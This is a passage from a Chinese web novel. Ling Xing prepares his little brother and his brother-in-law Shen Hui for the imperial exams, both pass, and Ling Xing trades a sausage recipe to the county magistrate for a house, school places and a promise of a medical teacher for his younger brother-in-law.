事关凌月,凌星知道这是最好的选择,便收了下来,后面会注意一下市面上有没有好皮子,给沈回买。 凌星会做针线活,仅限于缝补。护膝他真不会做,徐有芳没等他张口,就先来找了凌星。 把沈回给的皮子拿去,替凌月做护膝。 凌星铺子开的时间只有两个月,但他赚的是真不少。 光自己手里赚的,去除凌月的药钱,已经有七十六两。 欠沈回的银子年前就给清了,手里还有三十六两,他准备买好点的暖手炉,再备点其他考场可以用的东西。 考场允许自带炭火,忘记带的还可以问考场里的小吏买。 毕竟皇帝是要选拔人才,不是为了要冻死人。 也有热水提供,但被褥这些就没有了。 也不准带,怕有人里面夹带东西。单层的毛毯可以,检查没有问题,是能披着御寒。 按着书铺掌柜说的,保暖用的方面,炭的话,最好买没有大烟的好炭,用着不呛。 炭盆也需要自己带,不带也可以和考院买,价格和外面差不多,虚贵十几文。 这个东西重,有不少考生是不愿意背着去考试的。 能读书的虽然也会穷,但是这十几文咬咬牙也能多花,还能省下力气应对考试乐得轻松,何乐不为。 凌星想到凌月那小萝卜头,把重重的炭盆从购物清单中划掉,到了考院多花十几文买就是。 手炉外面罩着的布料不可以是夹层的,不能有花样,最好是纯色,什么也没有。 衣服也是,鞋子里面的鞋垫,袜子,全部不可以有夹层,花样。 吃的一般就是饼和糕点,带个小碗,考院供应热水。 火折子和蜡烛是考院供应,数量有限制,用完就没了,考生自己不准私带。 笔墨砚自己备,纸张考院统一发放,考院里的纸张,不可以带出来。 凌星脑子里过了一圈,第二天就去镇上买东西。 他什么都买了两份。 不得不说科考真花钱啊,全都买齐,花了十八两。 要不是之前林县令送了好的笔墨纸砚,他得重新备,花的更多。 凌月的那份,凌星直接放屋里。 沈回的那份,他带上,趁着家里人睡着,去敲了沈回的门。 怕被发现,引起不必要的误会,凌星声音压的很低,“二郎,是我。” 听到声音的沈回猛的起身,快步走到门口。 “哥夫什么事?” 凌星看到沈回衣襟凌乱,胸口若隐若现,长长的头发垂落,微微蜷曲,野性十足。 他莫名的有些脸热,悄悄移开视线。 “我给阿月备科考用的东西,给你也备了一份。” 沈回低头看到凌星怀里抱着的小包裹,勾唇一笑。 瞥见凌星有些逃离的视线,他磨了一下牙,像是故意一般的重复,“哥夫给我备的?” 凌星点头,把包裹往前塞,“你拿着。对了,明天开始不要和我去镇上了,你在家好好看书。” 沈回没有看转到他怀里的包裹,而是盯着凌星的脸。黑暗中,他的视线带着明显的侵略性。 “可我想和哥夫一起去。” 凌星皱眉道:“不行,考试要紧,你在家好好看书。” 沈回轻笑一声,压低的嗓音像带着钩子,“哥夫好凶。” 凌星摸一下发痒的耳朵,觉得自己哪出问题了,沈回很平常的一句话,怎么听着这么不对劲? 他故作镇定的绷着脸,煞有其事的点头,“嗯,你知道就好,我走啦。” …… 县试日子定在二月十日,凌星为了能让凌月沈回好好考,说服了沈家人让二人提前两天去县里。 这是凌月第一次参加考试,他还那么小的年纪,凌星这次是跟着一起去。 怕凌星一个哥儿出什么意外,徐有芳说陪他一起,不过最后也没陪成。 是谢青崖陪着凌星去的。 谢青崖对科考流程有了解,徐有芳怕她去了再因为什么也不懂出差错,知道谢青崖懂这些,也是很愿意和凌星一起去,便点头同意了。 谢青崖也同凌星说了许多关于科考的,和书铺掌柜说的那些差不多,补充了不少的细节。 王隽则是和沈回,凌月详细的说明了。 他参加过科考,说的都是考场里面会遇到的事。 比如不要喝太多水,吃的不要太饱,不饿的发晕就可以,蜡烛要小心使用,吃东西的时候要把纸张收好。 还让他们带个香包,进考舍就不准出去,在狭小的空间里吃喝拉撒。 恭桶就在考舍里面,香包是为了放鼻子下抵挡臭味。 最好的办法就是忍过这一天,少吃少喝没什么问题。 连考三天的不好忍,香包必不可少。 但王隽还是提醒他们尽量备着,毕竟自己不用恭桶,没办法让周围的人也不用。 考舍都是连着的,味道传的很快。 运气不好遇到个拉肚子的,那味道更别提。 听过谢青崖和王隽说的,凌星又给凌月和沈回补了些东西。 沈家二老知道凌星给凌月备东西的时候,顺手给沈回备了。 沈呈山要给凌星补钱,沈回拦住了,说他自己补就行。 徐有芳没搭理沈回,直接掏了银子给凌星送去。 除了做活、开铺子外,不能给老二一点和星哥儿多接触的机会。 要不是因为凌月一起去科考,哥哥要送弟弟,她都不会同意星哥儿跟着去县城。 科考前两天,凌星四人一起租了马车,提前赶去县城。 来科考的不算多,归根究底还是书籍没有彻底开放,读书难度增加,读书的人自然会少。 不过这到底是改命的机会,再少也少不到哪去。 至少县里好点的客栈全部住满了。 幸好谢青崖跟着一起来的,他在县里有认识的人,去了这家借宿。 人叫柳青玉,是个哥儿。 家住在桂花巷,巷子口有棵大桂花树。 柳青玉也是个苦命人,今年十九了也没有嫁人。 爹娘在六年前因意外离世,他身为大哥,拉扯着三个弟弟妹妹,活的很不容易。 又因放心不下弟弟妹妹,一直没嫁人。也没人敢娶,娶了他,就是娶了他一家。 柳青玉爹娘还在的时候,有一些的积蓄,院子是半砖半泥,让孩子们在这世上有个遮风挡雨的地方,能活下去。 谢青崖和他认识,是三年前的事。 他恰好和王隽来县里,遇到柳青玉的大伯娘带着人,要抢柳青玉爹娘留下的房子。 柳青玉当时以死相逼,镰刀架在脖子上,割开了口子,红着眼睛怒吼,他死前也要拉着人一起死。 这股不要命的劲,把想吃绝户人的念头压了下去。 盘算着等柳青玉嫁人后再来占房子。 人是走了,但柳青玉也因为流血过多昏迷。谢青崖撞上求救的柳家弟弟妹妹,帮着把人送去看大夫,垫付了银钱。 幸好及时,人从鬼门关拉回来了。 柳青玉看到救命恩人谢青崖来,很是高兴,同时也警惕的看向凌星三人。 谢青崖知他过的小心,警惕是正常,便及时介绍,“星哥儿是我的好朋友,这个是他弟弟凌月,这是他小叔子,沈回。他们都是来县里参加科考,好点的客栈没房间了,我就想到你家。” “咱们按着客栈的钱给,柳哥儿能匀出一间屋子来不?” 这间屋子是给凌月和沈回住的,谢青崖和凌星想着没地方住就回去,等科考那天再来也一样。 柳青玉听完后放下了戒心,这是恩人想着他,才带人来住,让他赚钱。 他热情的笑道:“有!两间也能匀的。我家里什么不多,就是房间多。” 爹娘盖房子留足了房间,他们去世之后,弟弟妹妹年纪又小,晚上睡觉害怕,那时候都是凑在一起睡的。 后面大了一些才分开,现在虽然不能同榻,但是在一间屋里打地铺完全可以。 能匀两间更好,凌星四人跟着柳青玉进了院子。 柳家的三个弟弟妹妹都在,柳青玉最大今年十九,老二柳青叶十五,也是个哥儿。 老三柳青草是男子,今年九岁,最小的妹妹叫柳青雪今年七岁。 爹娘去世的时候,小姑娘才一岁大。 四个孩子,只有老三能立户。但年纪还没到,要十岁才行。 也难怪会被亲戚企图吃绝户,占房子。 要是柳青玉当时没抱着必死的决心,这房子根本就保不住。 柳青玉把弟弟妹妹们收拾的很干净,三个孩子自幼没了爹娘庇护,见多了牛鬼蛇神,胆子都有点小。 不过对柳青玉很维护,自从柳青玉进院子,就都围着他,做出防护的姿态。 凌星能感觉到他们怕沈回怕的要命。 虽然沈回什么也没做,但他实在太高大,又没个笑脸,气势又凶,看着确实吓人。 就算是怕,柳家三个孩子也没离开柳青玉半步。 他们都被柳青玉当年那一刀吓怕了,怕大哥也离开他们再不回来。 要不是看到谢青崖在,凌星一点也不怀疑,这三孩子会直接把他们赶出去。 柳青玉也知道弟弟妹妹们不清楚怎么回事,心里会害怕,低头给他们解释了一遍。 听说是来科考借住,每天还给钱,三个孩子眼里的防备少了,多了些热情。 柳家屋子收拾的很干净。 凌星和谢青崖住的是柳家老二住的屋子,凌月和沈回睡柳家老三的屋子。 吃饭是凌星和谢青崖出去买食材,调料,借柳家的灶屋做,给点柴火钱。 柳青玉帮着打了一桶水,看到院子里拿书读的凌月,心中一片感慨。 这孩子这么小就读书科考,真厉害啊。 凌月心无旁骛的读书,他想过这次的童试。 在柳家住的这两天,柳家人安静的很,连跑跳都没有,怕打扰了两个读书人。 凌星结房费是日结,每天给的时候都多给了二十文,为他们的悉心体贴。 柳青玉需要这些钱养家,他没有不要,在接过后诚心的说了声谢谢。 对待凌星他们的时候,也更加用心。 科考考场距离柳家有一段路,科考当天,四人到的时候,考院已经排着队。 检查的小吏冷着脸,动作粗鲁。 考生们敢怒不敢言。 凌月小大人一样排在队伍里,引得不少人注视。 没别的原因,年纪太小了。 一个小萝卜头竟然来参加科考,真是家里有钱烧的慌。 参加考试也是要交银子的,排队的人都只以为是哪家有钱人的孩子,花钱来体验一下。 凌月屏蔽外界的视线和声音,在心里默默的回想书本上的知识。 童试比起其他的考试是最简单的,是死记硬背都能过的,全是书上的东西,不需要太多的个人见解。 它只是科考的敲门砖。 但即便是最简单的考试,晦涩难懂的文字,也将不少人挡在门外。 有许多人,考了许多次,都没办法真正的进科考这道门。 凌月很小,排到他检查的时候,小吏还愣了一下。 周围有不少小吏,大家看到他感到新奇,这么小的娃娃,考院里面受得住吗? “你好,这是我的考试牌。” 科考报名后会发考试牌,这是进考院的凭据。 小孩声音有些沙哑,态度礼貌,长的又好看讨喜,让检查的小吏不由自主的松开眉头,放轻了手上的动作。 虽说对凌月的态度不凶,但检查还是严格的,不然要是出事,可是要掉脑袋。 凌星准备的东西都是严格按照要求标准,没有一点的逾矩,让凌月的检查时间也缩短不少。 凌月后面就是沈回,小吏同样也是一愣。 检查过这么多次的科考,还是第一次遇到沈回这般高壮的。 这人不该来文考,该去武考才是。 沈回在外不怎么爱笑,天生冷脸,再好看俊美的脸,也没什么人敢凑近欣赏,被他的气势吓的有多远站多远。 一米九的大个头,站哪都像一座“山”,让人很有压迫感。 检查的小吏也不例外,他简直就是顶着压力在查。 进考场前的检查不仅是查篮子,也要脱衣服,散头发。 小吏仔细检查完后,还偷看一眼沈回,瞧着人似乎没什么情绪变化,这才松口气。 天晓得他刚刚检查的时候,有多怕对方急了烦躁,给他一拳。 沈回和凌月的考号分的比较远,不在一片区域,进考场后就不见人了。 凌月年纪小,考场里面的小吏看到他,也心生喜爱,好心的帮他引路,很快就找到了座位。 沈回视力好,同样没走什么弯路,早早入座。 两人运气都挺好的,考舍屋顶没有漏,板子也没有洞。 分到的恭桶也完好,没有坏。 听王隽说,有的恭桶用的时间久,考院也不换,分到坏恭桶的考生,更难。 就是空间真的狭小,只够一个人坐着和半躺。 凌月个子小还好,不会有那么重的压抑逼仄的感觉,但他坐着有点够不着,写字只能站着写。 沈回要遭大罪,他个头大,人进去后都不好动身。 坐直了的话,发髻和考舍顶差一点就能接触到。手臂稍微动作一下,就能碰到两边的墙壁,这种感觉很不舒服。 外面巡查的小吏看到沈回,都不由替他感到难受,这和固定坐在囚车里也没啥区别了。 身体心理的双重折磨,能考好吗? 小吏摇摇头离开,并没说什么话。 科考,运气也很重要的。 考生全部进去后,小吏又等了一会,见时辰到了,才敲一声铜锣,“县试开始!闲杂人等退开!不遵循者,仗责五十!” 喊了三遍,送考的人往后退散,随后考院的大门紧紧关了起来。 谢青崖和凌星没有在考院附近等,而是逛街去了。 说逛街也不对,因为凌星一直在看各个医馆、药铺。 在看了两家医馆,三家药铺后,谢青崖忍不住问道:“星哥儿想买药还是看病?” 凌星摇头,“想学医。” 不是他学,是替沈来看。 自从孙大夫那件事之后,沈来对学医的决定没有一点动摇和改变。 学字看医书也很认真,现在他已经认识了凌星和沈回教的药材,林县令家塞的医书也看了一半。 凌星确认沈来是真的想学医,那他就想办法成全。 谢青崖以为凌星想学,有些吃惊,“你不做吃食了吗?” 凌星知道他误会,解释道:“不是我,是小五。” 大概和谢青崖说了孙大夫来沈家的那件事,谢青崖也叹息一声。 “那孙大夫的态度其实是大部分大夫的态度,小五想学医,难。” 凌星何尝不知道呢。 他在镇上的时候已经悄悄打探过,没有收哥儿的。 想着县里可能会有机会,正好这次来看看。 但前面的两家医馆,三家药铺,里面全是男子。 两人逛了一上午没头绪,凌星请谢青崖去酒楼吃了顿大餐。 谢青崖生意不做陪他出来两天,是要好好感谢才是的。 有好吃的谢青崖就高兴,也没和凌星客气,两人大快朵颐的吃了顿饱饭,一扫上午的愁闷。 下午凌星和谢青崖逛了逛首饰铺子,他们穿着普通,进铺子也没伙计招呼,但伙计的视线是紧紧盯着他们的。 怕他们偷东西。 凌星也不在意,逛一圈就走。 谢青崖更不在意,看就看,又不会少块肉。 就是不明白凌星好好的咋又看起了首饰铺子。 这也不是不能说,见谢青崖好奇,凌星直接说了。 “娘做的绒花可以扩大生意了。” 之前没想扩张,徐有芳也是想慢慢来。现在她觉得可以进一步,便托凌星看看县里铺子,绒花放进去,能不能有市场。 谢青崖知道绒花,凌星还送过他好几套呢。 都特别好看,他晚上会关起门戴给王隽看,王隽挺喜欢的。 “星哥儿,你的铺子按着如今这势头,肯定越来越好的。沈四跟着你做腌菜生意,今年也扩大。你娘做绒花也扩大,小五要是真拜上师父学医,沈二和阿月再有个功名,你们一家发展个几年,是要称霸一方啊!” 谢青崖说到后面自己都惊讶到了,事实确实如此。 钱、权、名、利都有了。 而且林县令还和凌星有点交情。 凌星没想那么远,“这不是还没发展大,二郎和阿月也还没功名嘛。” “就算是这样,我们也不会称霸一方的,只会好好的过自己的日子。” 谢青崖认同的点头。 也是,凌星干不出称霸一方,为非作歹的事。 下午在县里逛了一会,也算有收获。 凌星看到好几个头戴绒花的。 比起徐有芳做的更加华丽,花上点缀着珍珠,宝石,金链银链的。 估计就是从他家摊子上买去,又进行奢侈化改造的。 别说加了这些确实挺华丽的,看着就很贵。 因为花型做的逼真,颜色漂亮,加上这些点缀,也并不觉得突兀。 凌星确定,绒花很有市场。 禹朝县试就一天,天蒙蒙亮开始考,中午有一刻钟吃饭时间,下午考到太阳落山结束。 天黑着进考院,天黑了出考院。 凌星和谢青崖提着灯笼在考院外头等,赶巧了凌月和沈回一起出来。 “阿月!二郎!” 外面还有些光亮,能看得清人,凌星挥挥手,沈回很快捕捉到凌星的位置。 怕走散了,他直接弯腰把凌月连人带东西整个抱起来,然后朝着凌星的方向大步走来。 这一天他都被禁锢着,难以动弹。 心里一直压着,不舒服。 在看到凌星的一瞬间,那些不高兴烟消云散。 凌月板着一张小脸,耳朵泛红,出了人群就动了一下,要下来走。 凌星看着明显有些萎靡不振的二人,“走,回去给你们做好吃的。” 结果没出来之前,凌星不敢让他们去外面吃。怕要继续考,却因为改变饮食,坏了肚子。 他买了好米,早早用砂锅熬粥,里面加了鸡汤和鸡肉,小火炖着,托柳青玉帮忙看火。 四人回去的时候,正好能吃上。 除了鸡汤肉丝粥,还摊了面饼,做了酱肉丝用来卷饼吃。 配着家里带的腌菜,开胃解腻。 东西少,但量多管饱。 鸡丝粥里加了鸡汤,口感鲜美咸香,米炖煮的软烂入味,里面还有晒干泡发的香菇丁,更添一层鲜香。 考院里很冷,有炭盆和手炉也不行,因为正面是空的,根本没办法保留温度。 加上一天没怎么吃东西,这会喝上暖乎乎的热粥,沈回和凌月觉得自己活过来了。 第二天四人准备回家,等成绩出来那天再来。 马车回村子也快,不用两个时辰就到了。 回到家后凌月和沈回就去王隽那了,凌星和沈归去铺子里。 沈归这几天已经把要卖的腌菜搬到铺子的仓库里放着,他在糖坊街租了个摊位,专门卖腌菜。 因为卖的比腌菜铺子里便宜,味道也好,生意还不错。 凌星的小吃铺子终于又开张,食客们发现后,把铺子围了个水泄不通。 过年那会关门休息没吃上的时候,食客们心里就想的不行。 锅贴油条和生煎包能去别家吃个味道,解解馋。 可汤包,猪皮冻,凉皮别的地方吃不着啊。 没想到刚吃上一阵子,铺子又关门了。 大家伙嘴巴馋,赚点钱就想哄好自己的嘴,终于把铺子盼开门,可不是要赶紧吃上,满足味蕾。 凌星关铺子前已经和食客们说过,要送弟弟科考,铺子这段时间会时不时关几天。 食客们震惊于凌月小小年纪就读书科考,也惊讶凌星竟然会供弟弟读书。 但因为凌星性子好,做的东西好吃,从来不作假,还有县令大人写牌匾说诚信,食客们基本上都是祝福凌月科考能成。 这会铺子开张,不少食客就问起了凌月。 “凌哥儿,你弟弟考的咋样?” “我听说每次考试都有人被抬出来,你家弟弟没事吧?” “现在天冷,娃娃容易生病,别叫他出汗。” 都是一直以来的老顾客,大家都熟悉了。凌星一一应下,笑着谢过大家的好意。 县衙出成绩这天,凌星四人又坐着马车来到县城。 他们直接去看的榜,不出意外凌月和沈回都在榜上。 沈回的名次还很靠前。 谢青崖看到二人榜上有名,一拍手压低声音高兴道:“我相公说他们这次肯定能中,果然没错!” 县试过了要去府城参加府试,只有三天时间,路上就要花一天。 府城那边也要住客栈,时间太紧,根本来不及停留。 四人正匆匆要走的时候,被王团拦下。 他看一眼沈回,这次视线没了之前的轻视,颔首后,将一封信交给凌星。 “大人说拿着这封信,可以在地址主人家借住,那地段安静,有利于静心备考。” 凌星没想到林县令会出手帮助,有好的地方住当然更好,还不用担心去晚了又没好客栈,路上能安心些。 他接过信,“多谢县令大人了,也辛苦官爷跑这一趟,人多找我们挺吃力的。” 王团笑道:“不辛苦,大人说了腌菜挺好吃,等凌哥儿回来,再送两坛来。” 凌星也跟着笑,点头答应。 去府城的路上因为解决住的问题,四人都很轻松。 驾马车的是车马行的车夫,马车驾的也稳当,一路上没遭什么罪。 到府城后就要靠嘴问路,找到信封上地址时,天色已晚。 但这地方离考院挺近的。 凌星怕沈回把人吓到,便他来敲门。 里面很快出来一个小厮,凌星把信递过去,说明来意。 对方接过信,礼貌的叫几人等一等,跑着去里面送信。 很快就来了一个衣着光鲜华丽的中年人,对方恭敬的拱手施礼,边自我介绍边邀请凌星几人进屋。 知道是林县令推荐来的,屋主人林远安房间安排的快,还上了一桌子的饭菜。 怕凌星他们吃不惯府城的菜,做的都是云水县那边的菜色。 可以说是非常贴心。 府试那天,林远安还专门起早,祝沈回和凌月榜上提名。 还安排了马车,里面铺着柔软的毛毯,放着炭盆,又软又暖和。 这两天林远安无微不至的照顾,让凌星心里越来越凉。 据他对林县令的了解,这位是无利不起早的。 本以为这封信是还他那两坛腌菜,后面王团说的话,也让他确定林县令喜欢腌菜,也更放心的收下信件。 可屋主人的态度,实在是好的离谱了。 仅仅是借住,没必要到这一步。 就算是企图通过他讨好林县令,对方身家地位不低,讨好的话这也太过了。 那只有一个原因,林县令要他欠人情。 现在这人情欠大了,并不是普通的借住,也不知道林县令想从他这拿什么。 哎。 算了,回去就知道了。 府试依旧考一天,流程和县试一样。 凌月和沈回都是一回生二回熟,凌月依旧在队伍里引起所有人的关注。 还有人以为凌月是谁家孩子跑过来,排错队的呢。 府试考院的环境也不比县里面好多少,但考舍稍微大了一些。 沈回这次没上次那么的逼仄难受。 不过也没舒服到哪里去,只能说比上次能多喘口气,仅此而已。 凌星没在外头干等,这马车和车夫今天一天都跟着他,便让车夫带着他和谢青崖去逛逛府城。 外头冷,他们都没下去,而是坐在马车上舒舒服服的往外看。 府城不愧是府城,比县城要大不知多少。 路都比县城宽。 凌星照旧去了一些医馆药铺还有首饰铺子,前面两个还好,他进去没人说什么。 去首饰铺子的时候,都被赶出来了。 他穿的太廉价,伙计不给进。 给谢青崖气的不清,骂了一句狗眼看人低。 凌星前世见过奢侈品店的一些导购,那些可比眼前的伙计厉害多了。 两相对比下,凌星倒是很平静。 中午也饿了,他让车夫带他们去好吃的饭馆,请谢青崖吃好吃的。 府城的物价比起县里也贵。 酒楼肯定是吃不起的。 车夫找的这家价格实惠,厨子手艺也好。 给谢青崖吃的没脾气了,凌星也心满意足。 车夫有主家的话,不能跟着一起吃。凌星单独买了一份,让他在外头吃。 这就不算是一起吃了。 大冷天吃上一口热乎饭谁都高兴,车夫也没能拒绝,恭敬的接过,不住道谢。 考院铜锣敲响,厚重的木门打开,放人出来。 凌星和谢青崖在马车里等着,掀开车帘往外看。 乌泱泱的人群里,有人哭,有人笑。有人疯癫,有人平静。 还有被抬出来的。 沈回认出马车,带着凌月过来,这次凌月抢在沈回前面让他不要抱。 上次整个人被抱起来,他是很不好意思的。 沈回看他一眼,“那你走快点。” 凌月点头答应,但他的腿太短,实在跟不上,后面几乎是被沈回拖着走的。 成绩三天后出来,府城离家远的很,没必要回去,干脆在这里等。 等成绩的这三天,林远安依旧是有求必应,每天再忙都要来关心一番。 对方对他们越上心,凌星越心慌。 不是,县令大人你想要啥啊?这么上心,是要我命吗? 凌星在过的真舒心,和思考林县令图啥来回切换了三天,府试成绩出了。 林远安依旧早早备好车,供凌星使用。 看榜的人很多,几人在车上等了一会,后面人散去些才下车看榜。 找了一会后,谢青崖激动的拍着凌星,“中了!中了!” 凌星跟着谢青崖的手看去,在末端看到了凌月的名字和考号。 沈回也中了,他的名字依旧在前面。 两人第一次参加科考,就都中了童生这是大喜事。 林远安恭喜一番后,告诉凌星可以用家里马车送他们回家去,也可以送他们去州城继续考。 沈回和凌月都想继续考。 凌月知道自己童生排名太靠后,不会考上秀才,但他想去见识一下。 凌星尊重弟弟的决定,准备继续去州城。 结果凌月生病了。 高热不止,大半夜请了大夫折腾到天亮。 这场病来的气势汹汹,大夫说是因为年岁太小,参加了两场科考,身体受不住。 前面没问题是撑着气,积压没爆发。 这会知道过了童试,压力没了,身体就开始出现状况。 也没大碍,多休息就好。 凌星不能丢下凌月去州城,谢青崖的身份也不好陪沈回去。 最后只能沈回自己去州城参加三月的院试。 凌星和谢青崖等凌月身体好些,就回家去。 林远安得知情况,贴心的另外准备辆马车,专门送沈回去州城参加院试。 沈回上马车去州城前,凌星把身上的银子都掏给了他。 “你一个人去,记得找好点的客栈住。” 沈回还没点头呢,就听过来送人的林远安善解人意道:“我写了封信,叫车夫带给我州城的朋友,沈兄弟可以借住在我好友家中,直到院试结束。” 凌星嘴角一抽,真贴心啊。 他回去一定要问林县令想要的是什么。 住的地方有了,银子凌星还是给了沈回。 怕他有用到钱的时候,带着总没错。 沈回把银子收好,看着凌星,眉头微微皱着。 他真想跳下车,不去州城了。 这一去,要离开好久。 但他不能,他需要功名。 沈回想说的话有很多,但碍于他的身份,最终只能说一句,“哥夫,照顾好自己。” 因为分别的缘故,凌星也有些提不起劲。 他点头答应,“你也是。” 马车越走越远,直至看不见。 谢青崖不得不喊一声,还在看着马车离开方向的凌星,“星哥儿,人已经走了。” 凌星回神,脸上是藏不住的落寞,他自己都没感觉到。 谢青崖看着凌星欲言又止,最后还是张口小心的问道:“你和沈回没事吧?” 凌星有些茫然,“啊?我们有什么事?” 谢青崖见凌星神情不似作假,觉得可能是自己想多了,他松一口气,“没什么,快回去看看阿月醒没醒。” 凌月已经醒了,大夫把脉再次确认没问题,凌星彻底放心。 醒来后的凌月知道沈回去州城继续考了,他心里可惜,自己失去一个见识院试,积累经验的机会。 不过他也很快就接受了这个结果。 是他身体不行,承受不住,这是没办法的事。 凌月喝完苦兮兮的药,嘴巴里被凌星塞一颗蜜饯。 他用牙磨了几下蜜饯,吸取糖份,对凌星说:“哥哥,我回去后要锻炼身体,要锻炼的和沈二哥一样。” 凌星听着小鸡仔一样的娃娃,大言不惭说要练成威猛肌肉男,还是给予了肯定,鼓励他加油。 谁叫是亲弟弟呢。 第70章 第 70 章 “阿月也觉得哥哥天下…… 凌月烧退了之后, 凌星就带着他回家了。 马车是林远安备的,车上还贴心的放了药和吃的,分别时候,林远安笑的慈眉善目, 细心叮嘱路上小心。凌星笑着应下, 心里想着回去还是尽快找林县令吧。 到小柳村已经是晚上了,谢青崖累的不行, 只想回家睡觉, 凌星和他道别。 这段时间谢青崖因为陪他, 豆腐都没有卖,后面得想办法把这几天的损失给人家补回去。 因为太晚, 车夫在沈家住一晚, 明天早上回府城。 沈家人知道凌月和沈回都中了童生,自是高兴不已。 拉着车夫一起上桌吃饭,弄了好些肉菜庆贺。 徐有芳笑道:“这要好好庆贺一番, 明天一早我去镇上买麦芽糖,再买些爆竹回来在村子里放, 挨家挨户的送糖。” 沈呈山道:“二郎参加院试去了,不如再等等。若是院试通过,中了秀才,可以一起庆祝。” 徐有芳没同意, “那还要等好一阵子呢, 阿月现在就是童生, 没道理叫阿月等下去。你就当我只给阿月庆祝的。” 听出徐有芳话里的不高兴, 沈呈山没再说什么,只是轻叹一口气。 沈家其他人包括凌星,都能感觉到娘最近对二郎有意见, 不想触她眉头,也都没吭声。 按着徐有芳说的来。 车夫感谢沈家人的招待,出声提议,“若不嫌弃,明日正好坐马车去,我顺路走镇上。” 徐有芳当然不嫌,连忙应声道谢。 晚上东头房里,沈呈山躺在床上,纠结了好一会还是问道:“都好几个月了,二郎到底做了什么,让你如此不喜?” 这几个月里,沈呈山不是没问过,可都没得到回答。 他私下也找过沈回,结果儿子也不说。 真的是要急死他。 徐有芳翻了个身,祭出九字真言,“不知道,烦得很,睡觉了。” 沈呈山扭头看去,长叹一声,哎—— 这都是什么事啊! 徐有芳一大早就去镇上,有马车快的很。 凌星,沈来和沈归去镇上开铺子,摆摊子,没有和徐有芳一起搭顺风马车,他们起的早,人多也坐不下。 到镇上凌星也没直接开张,而是去书铺买了笔墨纸砚,又买了些好肉,做谢师礼。 要给卢秀才送的。 王隽也帮助过不少,凌星也备了一份,回村就能给人送去。 东西买好,凌星去车马行租马车和车夫,要去县里找林县令。 早点知道县令大人打的什么主意,他也能放心。 王团看到凌星并不意外,林县令早有吩咐,说凌星要是来,直接带人进去见他。 凌星也没空手来,怀里抱着两坛腌菜呢。 到熟悉的小池塘,凌星下意识看一眼林清渝腿边的鱼篓。发现里面有鱼,颇为惊讶,“县令大人的钓鱼技术精进了许多。” 林清渝哈哈笑着,显然是很开心。 “我下了一堆鱼食进去呢。” 说着又钓上来一条,又大又肥,重的差点拉不起来。 凌星心里豁了声,这是喂了多少鱼食进去啊。 林清渝把鱼松钩,眼睛看向凌星手中的两坛腌菜,“正好,今天吃鱼配腌菜。你家的腌菜味道是真不错,上次送的我都吃完了。” 凌星耳朵一动。 林大人自称“我”,不是“本官”了。 凌星把腌菜坛子放地上,稍微转一下有些发酸的手腕,“大人爱吃,我后面再送。” 林清渝不客气道:“行,你送吧。” “听说沈二去参加院试了?” 凌星猜到府城招待他们的那位是给林大人送消息了,“是的,还多谢大人相助,能有个落脚休息的地方。” 林清渝收起鱼竿,不在意的摆摆手,“没什么,举手之劳。” “对了——” 凌星一怔,打起十二分的精神,来了来了,林县令图谋的东西要来了。 “你上次拿出过的一个香肠方子不错,要什么能换?” 凌星愣了一下,就这啊? 早说是要香肠方子啊,前面那林远安的态度好成那样,活像给死囚吃断头饭一样。他还以为是要什么了不得的东西,吓得都没怎么睡好。 不过前面给的时候不要,怎么现在突然要了…… 林清渝看出凌星好奇,但根本原因他没办法说。 族中来信,陛下对林家的态度大好,已经开始启用林家。 要他做出点政绩,能顺理成章的往上走。 政绩嘛,最直接的就是财政好看。 尤其是国库现在还缺钱,他这小地方的财政要是上去,族里运作一番很能在陛下眼前出一出风头。 只是云水县没什么特别出挑的东西,不像有的县盛产珍珠,有的县盛产好酒,有的盛产草药…… 云水县不出挑,就只能另想办法赚钱。 民以食为天,吃这个东西,做好了很能来钱。 不然周县丞也不会靠着妻弟,笼络云水县那么多的真金白银。 自家领域内的钱来回倒腾也就那样,林清渝想往外赚。 那么这个东西,就要能放的长久。 香肠需要肉,需要人工,外销多了,也能带起养猪户,还可以让一部分人有活干。 猪养的多了,粪肥也能多。粪肥多了,粮食收成就能多。 这是个良性的循环。 前提是生意能做起来。 林清渝对自己很有信心,只要方子到手,他就能以最大规模往外出售,直接拉动云水县经济。 现在问题就是没方子。 政务上的事,林清渝一字不能提。只等着凌星反应。 凌星也不是打破砂锅问到底的性子,而且他知不知道原因,也没什么影响。 本来这个方子,凌星就是想给林县令的。之前林县令若是直接收下,其实完全可以。不过县令大人不想落什么话柄,硬是没要。 现在能用它再换点什么,凌星也不会把好处硬往外推。 他想了一下,也有些犹豫,“我想林县令给我找一个愿意教哥儿学医的大夫,要有真才实学的。” 钱他自己能赚,书籍林家给的也足够了,想来想去,就是缺能教沈来学医的大夫。 这件事不好办,至少凌星是毫无头绪。 林清渝也确实皱一下眉。 凌星想说如果不好办,也可以看看家里男子谁想学医,教了男子,再由对方教小五。 灵活学医嘛。 结果就听林县令轻笑道:“就这点要求值当你犹豫成这样?” “算了,你是个老实孩子,给你狮子大开口的机会,你也只会呲个牙。这样,再给你县里一座院子。另外你家不是有两个读书的?县学再给两个名额。” 凌星眼睛瞪大,给这么多啊! 但他没被好处冲昏头脑,“县学不是考上秀才的人才可以上?” 林县令瞥他,啧了一声,“你这孩子这么守规矩就没吃过亏?对外是这样的,但如果多交钱,那就有机会进去。不过年年名额有限,要有门路才能得到罢了。” 凌星懵懵的点头,原来如此。 林县令贴心道:“沈二若是自己考上的话,就把他的名额折换成铺面。听说你在镇上开了个小吃铺子,生意很不错?” 凌星没想到林县令知道的还挺多,如果凌月真的进县学读书,他肯定是要住县里的。 住县里的话,生意自然要在县里做。 那镇上的铺子和生意,就需要调整。 凌星没有想过不来县里,不管怎样,县学是整个云水县最好的读书地方。 里面的夫子是云水县最厉害的,他想让凌月可以得到最好的教育。 凌星回道:“生意还好,想来在县里也能做起来。那就按大人说的来吧。” 林清渝很满意,“爽快。” 香肠方子凌星当场现写,林清渝答应给凌星的院子地契和钥匙是早就备好的。 “县学的名额等沈二的院试结果出来,到时候你将要学医的哥儿带来,大夫我会安排好。” 凌星一点不担心林清渝会说话不算话,真要是这种人,都不会费这样的周章。 他直接把香肠方子交出去,接过地契和钥匙,离开了县衙。 突然暴富在县里有了个院子,凌星自然是想去看看的。 让车夫驾车前去,发现这院子位置挺好。 离县学挺近的,而且附近就有闹市,干什么都方便。 院子门头看着有点旧,围墙上有杂草,估计荒废了一些时日,里面要住人的话,还得找人好好清理修缮。 凌星没多留,上车回了云霞镇。 …… 凌月考上童生比沈回考上童生在小柳村轰动还大,实在是凌月年纪太小了。 村子里人从徐有芳那得到麦芽糖,喜笑颜开,一口一个小神童,小天才的叫着。 卢秀才知道凌月中了童生,高兴的逢人就夸,这也是他这个夫子脸上荣光啊! 